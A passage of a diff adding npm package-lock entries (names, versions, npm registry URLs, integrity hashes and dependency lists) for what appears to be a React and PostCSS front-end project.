"sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "requires": { + "is-glob": "^4.0.3" + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "requires": { + "function-bind": "^1.1.2" + } + }, + "hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "requires": { + "react-is": "^16.7.0" + } + }, + "import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "requires": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + } + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "requires": { + "hasown": "^2.0.0" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==" + }, + "lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + }, + "magic-string": { + "version": "0.26.6", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.26.6.tgz", + "integrity": "sha512-6d+3bFybzyQFJYSoRsl9ZC0wheze8M1LrQC7tNMRqXR4izUTDOLMd9BtSuExK9iAukFh+s5K0WAhc/dlQ+HKYA==", + "dev": true, + "requires": { + "sourcemap-codec": "^1.4.8" + } + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "requires": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "dev": true + }, + "node-releases": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", + "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==" + }, + "object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "requires": { + "callsites": "^3.0.0" + } + }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "requires": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + }, + "pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true + }, + "postcss": { + "version": "8.4.32", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.32.tgz", + "integrity": "sha512-D/kj5JNu6oo2EIy+XL/26JEDTlIbB8hw85G8StOE6L74RQAVVP5rej6wxCNqyMbR4RkPfqvezVbPw81Ngd6Kcw==", + "dev": true, + "requires": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + } + }, + "postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "requires": { + "camelcase-css": "^2.0.1" + } + }, + "postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "dev": true, + "requires": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "dependencies": { + "lilconfig": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz", + "integrity": "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==", + "dev": true + }, + "yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "dev": true + } + } + }, + "postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.11" + } + }, + "postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "requires": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "react-countup": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/react-countup/-/react-countup-6.4.2.tgz", + "integrity": "sha512-wdDrNb2lPFGbLb+i0FTgswPbWziubS6KZRII8NRpXmUCoZsi15PFbIHgBz60Dyxd4KPuRvwsK5aawIU4OPP3jA==", + "requires": { + "@rollup/plugin-babel": "^6.0.3", + "countup.js": "^2.5.0" + } + }, + "react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "requires": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + } + }, + "react-draggable": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-draggable/-/react-draggable-4.4.5.tgz", + "integrity": "sha512-OMHzJdyJbYTZo4uQE393fHcqqPYsEtkjfMgvCHr6rejT+Ezn4OZbNyGH50vv+SunC1RMvwOTSWkEODQLzw1M9g==", + "requires": { + "clsx": "^1.1.1", + "prop-types": "^15.8.1" + } + }, + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "react-refresh": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.0.tgz", + "integrity": "sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==", + "dev": true + }, + "react-remove-scroll": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz", + "integrity": "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==", + "requires": { + "react-remove-scroll-bar": "^2.3.3", + "react-style-singleton": "^2.2.1", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.0", + "use-sidecar": "^1.1.2" + } + }, + "react-remove-scroll-bar": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.4.tgz", + "integrity": "sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==", + "requires": { + "react-style-singleton": "^2.2.1", + "tslib": "^2.0.0" + } + }, + "react-style-singleton": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz", + "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==", + "requires": { + "get-nonce": "^1.0.0", + "invariant": "^2.2.4", + "tslib": "^2.0.0" + } + }, + "react-textarea-autosize": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.3.4.tgz", + "integrity": "sha512-CdtmP8Dc19xL8/R6sWvtknD/eCXkQr30dtvC4VmGInhRsfF8X/ihXCq6+9l9qbxmKRiq407/7z5fxE7cVWQNgQ==", + "requires": { + "@babel/runtime": "^7.10.2", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + } + }, + "read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "requires": { + "pify": "^2.3.0" + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "requires": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==" + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true + }, + "rollup": { + "version": "2.78.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.78.1.tgz", + "integrity": "sha512-VeeCgtGi4P+o9hIg+xz4qQpRl6R401LWEXBmxYKOV4zlF82lyhgh2hTZnheFUbANE8l2A41F458iwj2vEYaXJg==", + "devOptional": true, + "requires": { + "fsevents": "~2.3.2" + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==" + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true + }, + "sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "stylis": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" + }, + "sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": 